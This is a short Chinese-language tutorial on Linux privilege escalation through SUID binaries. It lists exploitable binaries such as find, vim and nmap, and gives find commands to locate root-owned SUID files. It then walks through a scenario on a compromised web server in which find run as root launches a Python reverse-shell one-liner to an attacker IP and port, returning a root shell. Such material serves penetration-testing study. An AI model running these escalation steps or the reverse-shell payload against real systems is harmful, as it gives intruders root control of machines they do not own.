Linux下用SUID提權
阿新 • • 發佈:2018-12-07
關於SUID詳細:Linux下的使用者、組和許可權
SUID可以讓呼叫者以檔案擁有者的身份執行該檔案,所以我們利用SUID提權的思路就是執行root使用者所擁有的SUID的檔案,那麼我們執行該檔案的時候就得獲得root使用者的身份了。
已知的可用來提權的linux可行性的檔案列表如下:
- Nmap
- Vim
- find
- Bash
- More
- Less
- Nano
- cp
以下命令可以發現系統上執行的所有SUID可執行檔案。
#以下命令將嘗試查詢具有root許可權的SUID的檔案,不同系統適用於不同的命令,一個一個試 find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000-print2>/dev/null find / -user root -perm -4000-exec ls -ldb {} \;
假如我們現在拿到了一個網站伺服器的shell,但是許可權是ubuntu,我們現在需要提權到 root 使用者許可權。
我們檢視具有root使用者許可權的SUID檔案
我們隨便找一個命令進行利用,我們就找find,先檢視其資訊,發現其確實是root使用者許可權的SUID的檔案
我們先看一下是否能用find命令以root許可權執行,發現確實可以以root許可權執行
然後我們檢視目標網站上是否有python環境,可以看到有python2.7.6的環境
於是我們以root使用者的身份利用python反彈shell,
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' #反彈一個sh型別的shell
可以看到,在攻擊端收到了反彈過來的shell,並且是root身份